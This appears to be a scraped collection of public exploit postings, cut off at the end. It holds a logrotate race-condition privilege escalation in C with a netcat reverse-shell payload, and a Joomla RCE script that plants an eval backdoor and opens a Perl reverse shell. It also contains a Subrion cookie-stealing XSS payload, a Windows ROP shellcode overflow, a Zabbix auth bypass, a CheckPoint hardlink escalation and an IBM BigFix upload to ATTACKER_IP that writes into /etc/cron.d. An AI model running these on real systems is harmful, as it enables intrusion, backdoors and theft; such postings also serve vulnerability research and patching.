https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges - https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/ - https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd logrotten.c /* * logrotate poc exploit * * [ Brief description ] * - logrotate is prone to a race condition after renaming the logfile. * - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories. * - An attacker could elevate his privileges by writing reverse-shells into * directories like "/etc/bash_completition.d/". * * [ Precondition for privilege escalation ] * - Logrotate needs to be executed as root * - The logpath needs to be in control of the attacker * - Any option(create,compress,copy,etc..) that creates a new file is set in the logrotate configuration. * * [ Tested version ] * - Debian GNU/Linux 9.5 (stretch) * - Amazon Linux 2 AMI (HVM) * - Ubuntu 18.04.1 * - logrotate 3.8.6 * - logrotate 3.11.0 * - logrotate 3.15.0 * * [ Compile ] * - gcc -o logrotten logrotten.c * * [ Prepare payload ] * - echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile * * [ Run exploit ] * - nice -n -20 ./logrotten -p payloadfile /tmp/log/pwnme.log * - if compress is used: nice -n -20 ./logrotten -c -s 3 -p payloadfile /tmp/log/pwnme.log.1 * * [ Known Problems ] * - It's hard to win the race inside a docker container or on a lvm2-volume * * [ Mitigation ] * - make sure that logpath is owned by root * - use su-option in logrotate.cfg * - use selinux or apparmor * * [ Author ] * - Wolfgang Hotwagner * * [ Contact ] * - https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition * - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges * - https://github.com/whotwagner/logrotten */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <sys/types.h> #include <sys/inotify.h> #include <unistd.h> #include <string.h> #include <alloca.h> #include <sys/stat.h> #include <getopt.h> #define EVENT_SIZE ( sizeof (struct inotify_event) ) #define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) ) /* use TARGETDIR without "/" at the end */ #define TARGETDIR "/etc/bash_completion.d" #define PROGNAME "logrotten" void usage(const char* progname) { printf("usage: %s [OPTION...] <logfile>\n",progname); printf(" %-3s %-22s %-30s\n","-h","--help","Print this help"); printf(" %-3s %-22s %-30s\n","-t","--targetdir <dir>","Abosulte path to the target directory"); printf(" %-3s %-22s %-30s\n","-p","--payloadfile <file>","File that contains the payload"); printf(" %-3s %-22s %-30s\n","-s","--sleep <sec>","Wait before writing the payload"); printf(" %-3s %-22s %-30s\n","-d","--debug","Print verbose debug messages"); printf(" %-3s %-22s %-30s\n","-c","--compress","Hijack compressed files instead of created logfiles"); printf(" %-3s %-22s %-30s\n","-o","--open","Use IN_OPEN instead of IN_MOVED_FROM"); } int main(int argc, char* argv[] ) { int length, i = 0; int j = 0; int index = 0; int fd; int wd; char buffer[EVENT_BUF_LEN]; uint32_t imask = IN_MOVED_FROM; char *payloadfile = NULL; char *logfile = NULL; char *targetdir = NULL; char *logpath; char *logpath2; char *targetpath; int debug = 0; int sleeptime = 1; char ch; const char *p; FILE *source, *target; int c; while(1) { int this_option_optind = optind ? optind : 1; int option_index = 0; static struct option long_options[] = { {"payloadfile", required_argument, 0, 0}, {"targetdir", required_argument, 0, 0}, {"sleep", required_argument, 0, 0}, {"help", no_argument, 0, 0}, {"open", no_argument, 0, 0}, {"debug", no_argument, 0, 0}, {"compress", no_argument, 0, 0}, {0,0,0,0} }; c = getopt_long(argc,argv,"hocdp:t:s:", long_options, &option_index); if (c == -1) break; switch(c) { case 'p': payloadfile = alloca((strlen(optarg)+1)*sizeof(char)); memset(payloadfile,'\0',strlen(optarg)+1); strncpy(payloadfile,optarg,strlen(optarg)); break; case 't': targetdir = alloca((strlen(optarg)+1)*sizeof(char)); memset(targetdir,'\0',strlen(optarg)+1); strncpy(targetdir,optarg,strlen(optarg)); break; case 'h': usage(PROGNAME); exit(EXIT_FAILURE); break; case 'd': debug = 1; break; case 'o': imask = IN_OPEN; break; case 'c': imask = IN_OPEN; break; case 's': sleeptime = atoi(optarg); break; default: usage(PROGNAME); exit(EXIT_FAILURE); break; } } if(argc == (optind+1)) { logfile = alloca((strlen(argv[optind])+1)*sizeof(char)); memset(logfile,'\0',strlen(argv[optind])+1); strncpy(logfile,argv[optind],strlen(argv[optind])); } else { usage(PROGNAME); exit(EXIT_FAILURE); } for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--); index = j+1; p = &logfile[index]; logpath = alloca(strlen(logfile)*sizeof(char)); logpath2 = alloca((strlen(logfile)+2)*sizeof(char)); if(targetdir != NULL) { targetpath = alloca( ( (strlen(targetdir)) + (strlen(p)) +3) *sizeof(char)); strcat(targetpath,targetdir); } else { targetdir= TARGETDIR; targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char)); targetpath[0] = '\0'; strcat(targetpath,TARGETDIR); } strcat(targetpath,"/"); strcat(targetpath,p); for(j = 0; j < index; j++) logpath[j] = logfile[j]; logpath[j-1] = '\0'; strcpy(logpath2,logpath); logpath2[strlen(logpath)] = '2'; logpath2[strlen(logpath)+1] = '\0'; /*creating the INOTIFY instance*/ fd = inotify_init(); if( debug == 1) { printf("logfile: %s\n",logfile); printf("logpath: %s\n",logpath); printf("logpath2: %s\n",logpath2); printf("targetpath: %s\n",targetpath); printf("targetdir: %s\n",targetdir); printf("p: %s\n",p); } /*checking for error*/ if ( fd < 0 ) { perror( "inotify_init" ); } wd = inotify_add_watch( fd,logpath, imask ); printf("Waiting for rotating %s...\n",logfile); while(1) { i=0; length = read( fd, buffer, EVENT_BUF_LEN ); while (i < length) { struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; if ( event->len ) { if ( event->mask & imask ) { if(strcmp(event->name,p) == 0) { rename(logpath,logpath2); symlink(targetdir,logpath); printf("Renamed %s with %s and created symlink to %s\n",logpath,logpath2,targetdir); if(payloadfile != NULL) { printf("Waiting %d seconds before writing payload...\n",sleeptime); sleep(sleeptime); source = fopen(payloadfile, "r"); if(source == NULL) exit(EXIT_FAILURE); target = fopen(targetpath, "w"); if(target == NULL) { fclose(source); exit(EXIT_FAILURE); } while ((ch = fgetc(source)) != EOF) fputc(ch, target); chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); fclose(source); fclose(target); } inotify_rm_watch( fd, wd ); close( fd ); printf("Done!\n"); exit(EXIT_SUCCESS); } } } i += EVENT_SIZE + event->len; } } /*removing from the watch list.*/ inotify_rm_watch( fd, wd ); /*closing the INOTIFY instance*/ close( fd ); exit(EXIT_SUCCESS); }
  9. # Exploit Title: Joomla 3.4.6 - 'configuration.php' Remote Code Execution # Google Dork: N/A # Date: 2019-10-02 # Exploit Author: Alessandro Groppo @Hacktive Security # Vendor Homepage: https//www.joomla.it/ # Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6 # Version: 3.0.0 --> 3.4.6 # Tested on: Linux # CVE : N/A # # Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41 # Github: https://github.com/kiks7/rusty_joomla_rce # # The exploitation is implanting a backdoor in /configuration.php file in the root directory # with an eval in order to be more suitable for all environments, but it is also more intrusive. # If you don't like this way, you can replace the get_backdoor_pay() # with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /') #!/usr/bin/env python3 import requests from bs4 import BeautifulSoup import sys import string import random import argparse from termcolor import colored PROXS = {'http':'127.0.0.1:8080'} PROXS = {} def random_string(stringLength): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(stringLength)) backdoor_param = random_string(50) def print_info(str): print(colored("[*] " + str,"cyan")) def print_ok(str): print(colored("[+] "+ str,"green")) def print_error(str): print(colored("[-] "+ str,"red")) def print_warning(str): print(colored("[!!] " + str,"yellow")) def get_token(url, cook): token = '' resp = requests.get(url, cookies=cook, proxies = PROXS) html = BeautifulSoup(resp.text,'html.parser') # csrf token is the last input for v in html.find_all('input'): csrf = v csrf = csrf.get('name') return csrf def get_error(url, cook): resp = requests.get(url, cookies = cook, proxies = PROXS) if 'Failed to decode session object' in resp.text: #print(resp.text) return False #print(resp.text) return True def get_cook(url): resp = requests.get(url, proxies=PROXS) #print(resp.cookies) return resp.cookies def gen_pay(function, command): # Generate the payload for call_user_func('FUNCTION','COMMAND') template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' #payload = command + ' || $a=\'http://wtf\';' payload = 'http://l4m3rz.l337/;' + command # Following payload will append an eval() at the enabled of the configuration file #payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';' function_len = len(function) final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function))) return final def make_req(url , object_payload): # just make a req with object print_info('Getting Session Cookie ..') cook = get_cook(url) print_info('Getting CSRF Token ..') csrf = get_token( url, cook) user_payload = '\\0\\0\\0' * 9 padding = 'AAA' # It will land at this padding working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}' clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects inj_object = '";' inj_object += object_payload inj_object += 's:6:"return";s:102:' # end the object with the 'return' part password_payload = padding + inj_object params = { 'username': user_payload, 'password': password_payload, 'option':'com_users', 'task':'user.login', csrf :'1' } print_info('Sending request ..') resp = requests.post(url, proxies = PROXS, cookies = cook,data=params) return resp.text def get_backdoor_pay(): # This payload will backdoor the the configuration .PHP with an eval on POST request function = 'assert' template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' # payload = command + ' || $a=\'http://wtf\';' # Following payload will append an eval() at the enabled of the configuration file payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';' function_len = len(function) final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function))) return final def check(url): check_string = random_string(20) target_url = url + 'index.php/component/users' html = make_req(url, gen_pay('print_r',check_string)) if check_string in html: return True else: return False def ping_backdoor(url,param_name): res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS) if 'PWNED' in res.text: return True return False def execute_backdoor(url, payload_code): # Execute PHP code from the backdoor res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS) print(res.text) def exploit(url, lhost, lport): # Exploit the target # Default exploitation will append en eval function at the end of the configuration.pphp # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters') # e.g. get_payload('system','rm -rf /') # First check that the backdoor has not been already implanted target_url = url + 'index.php/component/users' make_req(target_url, get_backdoor_pay()) if ping_backdoor(url, backdoor_param): print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param) print_info('Now it\'s time to reverse, trying with a system + perl') execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-t','--target',required=True,help='Joomla Target') parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only') parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit') parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP') parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port') args = vars(parser.parse_args()) url = args['target'] if(check(url)): print_ok('Vulnerable') if args['exploit']: exploit(url, args['lhost'], args['lport']) else: print_info('Use --exploit to exploit it') else: print_error('Seems NOT Vulnerable ;/')
  10. # Title: Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting # Date: 2019-10-07 # Author: Min Ko Ko (Creatigon) # Vendor Homepage: https://subrion.org/ # CVE : https://nvd.nist.gov/vuln/detail/CVE-2019-17225 # Website : https://l33thacker.com # Description : Allows XSS via the panel/members/ Username, Full Name, or # Email field, aka an "Admin Member JSON Update" issue. First login the panel with user credential, Go to member tag from left menu. http://localhost/panel/members/ Username, Full Name, Email are editable with double click on it. Insert the following payload <img src=x onerror=alert(document.cookie)>
  11. # Exploit Title: ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP) # Google Dork: N/A # Date: 2019-10-06 # Exploit Author: max7253 # Vendor Homepage: http://www.mini-stream.net/ # Software Link: https://www.exploit-db.com/apps/f4da5b43ca4b035aae55dfa68daa67c9-ASXtoMP3Converter.exe # Version: 3.1.3.7.2010.11.05 # Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC # CVE : N/A # Note: There is a similar exploit published but it doesn't work in the OS I used: # https://www.exploit-db.com/exploits/42963 # This exploit in the ROP chain uses addresses from ASLR modules. Not sure what OS that exploit was tested on. import struct file = 'fuzz_rop.asx' #Tested on #OS Name: Microsoft Windows 7 Enterprise #OS Version: 6.1.7601 Service Pack 1 Build 7601 #System Type: x64-based PC #msfvenom -p windows/exec cmd=calc.exe -a x86 -b '\x00\x09\x0a' -f python buf = b"" buf += b"\xda\xd7\xbf\xf1\xca\xd1\x3f\xd9\x74\x24\xf4\x5a\x29" buf += b"\xc9\xb1\x31\x83\xc2\x04\x31\x7a\x14\x03\x7a\xe5\x28" buf += b"\x24\xc3\xed\x2f\xc7\x3c\xed\x4f\x41\xd9\xdc\x4f\x35" buf += b"\xa9\x4e\x60\x3d\xff\x62\x0b\x13\x14\xf1\x79\xbc\x1b" buf += b"\xb2\x34\x9a\x12\x43\x64\xde\x35\xc7\x77\x33\x96\xf6" buf += b"\xb7\x46\xd7\x3f\xa5\xab\x85\xe8\xa1\x1e\x3a\x9d\xfc" buf += b"\xa2\xb1\xed\x11\xa3\x26\xa5\x10\x82\xf8\xbe\x4a\x04" buf += b"\xfa\x13\xe7\x0d\xe4\x70\xc2\xc4\x9f\x42\xb8\xd6\x49" buf += b"\x9b\x41\x74\xb4\x14\xb0\x84\xf0\x92\x2b\xf3\x08\xe1" buf += b"\xd6\x04\xcf\x98\x0c\x80\xd4\x3a\xc6\x32\x31\xbb\x0b" buf += b"\xa4\xb2\xb7\xe0\xa2\x9d\xdb\xf7\x67\x96\xe7\x7c\x86" buf += b"\x79\x6e\xc6\xad\x5d\x2b\x9c\xcc\xc4\x91\x73\xf0\x17" buf += b"\x7a\x2b\x54\x53\x96\x38\xe5\x3e\xfc\xbf\x7b\x45\xb2" buf += b"\xc0\x83\x46\xe2\xa8\xb2\xcd\x6d\xae\x4a\x04\xca\x40" buf += b"\x01\x05\x7a\xc9\xcc\xdf\x3f\x94\xee\x35\x03\xa1\x6c" buf += b"\xbc\xfb\x56\x6c\xb5\xfe\x13\x2a\x25\x72\x0b\xdf\x49" buf += b"\x21\x2c\xca\x29\xa4\xbe\x96\x83\x43\x47\x3c\xdc" payload = "http://" payload += "A" * 17417 + struct.pack('<L', 0x1002D038) + "CCCC" ## Save allocation type (0x1000) in EDX payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN payload += struct.pack('<L', 0x11111111) payload += struct.pack('<L', 0x10029B8C) # XOR EDX,EDX # RETN payload += struct.pack('<L', 0x1002D493) # POP EDX # RETN payload += struct.pack('<L', 0xEEEEFEEF) payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN payload += struct.pack('<L', 0x41414141) ## Save the address of VirtualAlloc() in ESI payload += struct.pack('<L', 0x1002fade) # POP EAX # RETN [MSA2Mfilter03.dll] payload += struct.pack('<L', 0x1004f060) # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll] payload += struct.pack('<L', 0x1003239f) # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll] payload += struct.pack('<L', 0x10040754) # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN payload += struct.pack('<L', 0x41414141) payload += struct.pack('<L', 0x41414141) ## Save the size of the block in EBX payload += struct.pack('<L', 0x1004d881) # XOR EAX,EAX # RETN payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN payload += struct.pack('<L', 0x10034735) # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN ## Save the address of (# ADD ESP,8 # RETN) in EBP payload += struct.pack('<L', 0x10031c6c) # POP EBP # RETN payload += struct.pack('<L', 0x10012316) # ADD ESP,8 # RETN #payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN ## Save memory protection code (0x40) in ECX payload += struct.pack('<L', 0x1002ca22) # POP ECX # RETN payload += struct.pack('<L', 0xFFFFFFFF) payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN ## Save ROP-NOP in EDI payload += struct.pack('<L', 0x1002e346) # POP EDI # RETN payload += struct.pack('<L', 0x1002D038) # RETN ## Save NOPs in EAX #payload += struct.pack('<L', 0x1003bca4) # POP EAX # RETN [MSA2Mfilter03.dll] #payload += struct.pack('<L', 0x90909090) # nop ## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address payload += struct.pack('<L', 0x1002E516) # POP EAX # RETN payload += struct.pack('<L', 0xA4E2F275) payload += struct.pack('<L', 0x1003efe2) # ADD EAX,5B5D5E5F # RETN payload += struct.pack('<L', 0x10040ce5) # PUSH EAX # RETN payload += "\x90" * 4 payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN payload += "\x90" * 20 payload += buf f = open(file,'w') f.write(payload) f.close()
  12. # Exploit Title: Zabbix 4.2 - Authentication Bypass # Date: 2019-10-06 # Exploit Author: Milad Khoshdel # Software Link: https://www.zabbix.com/download # Version: Zabbix [2.x , 3.x , 4.x] Tested on latest version Zabbix 4.2 # Tested on: Linux Apache/2 PHP/7.2 # Google Dork: inurl:zabbix/zabbix.php ========= Vulnerable Page: ========= /zabbix.php?action=dashboard.view&dashboardid=1 ========= POC: ========= Attacker can bypass login page and access to dashboard page and create [Dashboard/Report/Screen/Map] without any Username/Password and anonymously. All Created elements [Dashboard/Report/Screen/Map] is accessible by other users and admin. REGUEST --> GET /zabbix.php?action=dashboard.view&dashboardid=1 HTTP/1.1 Host: [HOST-IP] Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close RESPONSE --> HTTP/1.1 200 OK Date: Sun, 06 Oct 2019 11:40:18 GMT Server: Apache/2.4.29 (Ubuntu) Set-Cookie: zbx_sessionid=a8d192ec833bd4476e0f6a550e6e5bed; HttpOnly Set-Cookie: PHPSESSID=i2j8kt08m7dp3ojstqeaod9joo; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=i2j8kt08m7dp3ojstqeaod9joo; path=/; HttpOnly X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Content-Length: 19239 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> [Dashboard Page Content Will Load Here] </html>
  13. # Exploit Title: CheckPoint Endpoint Security Client/ZoneAlarm 15.4.062.17802 - Privilege Escalation # Date: 2019-01-30 # Exploit Author: Jakub Palaczynski # Vendor Homepage: https://www.checkpoint.com/ # Version: Check Point Endpoint Security VPN <= E80.87 Build 986009514 # Version: Check Point ZoneAlarm <= 15.4.062.17802 # CVE: CVE-2019-8452 Description: ============ It is possible to change permissions of arbitrary file so that user have full control over it after exploitation which results in Local Privilege Escalation. It was found that Check Point software (Endpoint Security Client and ZoneAlarm) uses tvDebug.log file stored in "C:\Windows\Internet Logs\tvDebug.log" or in ProgramData, for example "C:\ProgramData\CheckPoint\ZoneAlarm\Logs\tvDebug.log". Over this log file all authenticated users have full control and it was found that Check Point service writes to it with SYSTEM privileges. However this file could not be used for exploitaion as it is always used/taken by Check Point service so for example this is why users cannot delete it in normal conditions (unless service crashes and/or is restarted). However it was noticed that when this log file reaches some limit (depending on software) then it is archived to the same location and name but with ZIP extension. The same permissions are set for this archive file so all authenticated users can access it. Taking all of this into account we can create an attack scenario: 1. If tvDebug.zip file exists then delete it 2. Create hardlink (using CreateHardlink.exe) named tvDebug.zip which points to other file that we would like to have permissions to (this file must not be taken by other process when Check Point service tries to use it) 3. Fill tvDebug.log log file above the limit. For ZoneAlarm it is 50Mb, for VPN it is 20Mb. It can be done by using software as normal user. 4. Restart system as service needs to be restarted to make an archive. 5. Now your file has permissions changed and you have all access to it. 6. If we pointed to "C:\Program Files (x86)\CheckPoint\Endpoint Connect\LogonISReg.dll" in step 2 then we can replace this DLL with custom one. 7. Click "VPN Options" in Client GUI and then close this windows. Closing "VPN Options" window forces LogonISReg.dll to be loaded with SYSTEM privileges. Proof of Concept: ================= # PoC written in PowerShell to fully exploit Check Point Endpoint Client. It can be used also to exploit ZoneAlarm. # file that we want to have permissions to # LogonISReg.dll is not used on startup and we can force to load it with SYSTEM privileges after exploitation $file = "C:\Program Files (x86)\CheckPoint\Endpoint Connect\LogonISReg.dll" # path to symboliclink testing tools CreateHardlink.exe # CreateHardlink.exe is a tool created by James Forshaw - https://github.com/googleprojectzero/symboliclink-testing-tools $hardlink = "C:\Temp\CreateHardlink.exe" Write-Host "[!] Detecting Check Point software." if ([System.IO.File]::Exists("$env:windir\Internet Logs\tvDebug.log")) { $logfile = "$env:windir\Internet Logs\tvDebug.zip" Write-Host "[+] Check Point Endpoint Security found." } elseif ([System.IO.File]::Exists("$env:programdata\CheckPoint\ZoneAlarm\Logs\tvDebug.log")) { $logfile = "$env:programdata\CheckPoint\ZoneAlarm\Logs\tvDebug.zip" Write-Host "[+] Check Point ZoneAlarm found." } else { Write-Host "[-] Check Point software was not found." } Write-Host "[!] Trying to delete tvDebug.zip file." if ([System.IO.File]::Exists($logfile)) { while ([System.IO.File]::Exists($logfile)) { Remove-Item -Force 朴ath $logfile -ErrorAction SilentlyContinue } Write-Host "[+] Successfully deleted tvDebug.zip archive file." } else { Write-Host "[+] tvDebug.zip archive file was not found." } Write-Host "[!] Creating hardlink to a file that we would like to change permissions." Start-Process -FilePath "cmd.exe" -ArgumentList "/c $hardlink `"$logfile`" `"$file`"" while (!([System.IO.File]::Exists($logfile))) { Sleep 1 } Write-Host "[+] Hardlink successfully created." Write-Host "[!] 1. Fill log file up to the limit and restart computer." Write-Host "[!] 2. Now when permissions are changed replace LogonISReg.dll with your custom DLL." Write-Host "[!] 3. Click VPN Options in Client GUI and close this window to force DLL load."
  14. # Exploit Title: IBM Bigfix Platform 9.5.9.62 - Arbitrary File Upload # Date: 2018-12-11 # Exploit Authors: Jakub Palaczynski # Vendor Homepage: https://www.ibm.com/ # Version: IBM Bigfix Platform <= 9.5.9.62 # CVE: CVE-2019-4013 Description: ============ Any authenticated (even unprivileged) user can upload any file to any location on the server with root privileges. This results in code execution on underlying system with root privileges. What caused this issue: * path traversal - it is possible to escape from original directory and upload file to any other location * server running with root privileges - user can upload file to ANY location on the system * upload any type of file - application does not verify extension and MIME type of uploaded files * authorization bypass (reported as separate issue) - any user can reveal privileged functionality and access it without proper rights set * possibility to win the race - application uploads file to location specified in "urlFileName" parameter (path traversal), however it then moves it to another. An attacker needs to win race and execute script before it is moved. Issue was found in "Apps > Software > Add Software" menu. Here user needs to choose upload via URL option as only this one is vulnerable. URL needs to point to attacker's web server where he hosts for example script files. When form is submitted we can see on proxy "urlFileName" parameter. This one is vulnerable to path traversal. This parameter specifies temporary file name that will be used on the system. Then application moves this file to another location that is not controlled by application user. An attacker can for example upload script file on the web server and execute it by sending GET request. However as a PoC we will use cron. Here we upload 2 files - cron file and script file that will be executed by cron. Uploading cron task and script file is the same as below but of course with different content downloaded from the web server. Those two HTTP requests should be sent in loop to finally win a race and execute our script. Proof of Concept: ================= cron.txt served on attacker's web server: * * * * * root bash /tmp/icmp.sh icmp.txt served on attacker's web server: #!/bin/bash ping -c 3 ATTACKER_IP Uploading cron task: POST /swd/api/packages/upload HTTP/1.1 Host: XXX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Content-Length: 846 Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809 X-XSRF-TOKEN: XXX Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX Connection: close -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="fileURL" http://ATTACKER_IP/cron.txt -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="username" -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="password" -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="urlFileName" ../../../../../../../../etc/cron.d/task -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="urlDownloadAtRuntime" false -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="uploadId" user_1543410578364620 -----------------------------7289782871626994727576601809-- Uploading script file: POST /swd/api/packages/upload HTTP/1.1 Host: XXX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Content-Length: 846 Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809 X-XSRF-TOKEN: XXX Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX Connection: close -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="fileURL" http://ATTACKER_IP/icmp.txt -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="username" -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="password" -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="urlFileName" ../../../../../../../../tmp/icmp.sh -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="urlDownloadAtRuntime" false -----------------------------7289782871626994727576601809 Content-Disposition: form-data; name="uploadId" user_1543410578364620 -----------------------------7289782871626994727576601809-- After a while our script should be executed with root privileges.
  15. <?php /* --------------------------------------------------------------------- vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Vulnerability --------------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: https://www.vbulletin.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerability Description: User input passed through the "data[extension]" and "data[filedata]" parameters to the "ajax/api/user/updateAvatar" endpoint is not properly validated before being used to update users' avatars. This can be exploited to inject and execute arbitrary PHP code. Successful exploitation of this vulnerability requires the "Save Avatars as Files" option to be enabled (disabled by default). [-] Disclosure timeline: [30/09/2019] - Vendor notified [03/10/2019] - Patch released: https://bit.ly/2OptAzI [04/10/2019] - CVE number assigned (CVE-2019-17132) [07/10/2019] - Public disclosure */ set_time_limit(0); error_reporting(E_ERROR); if 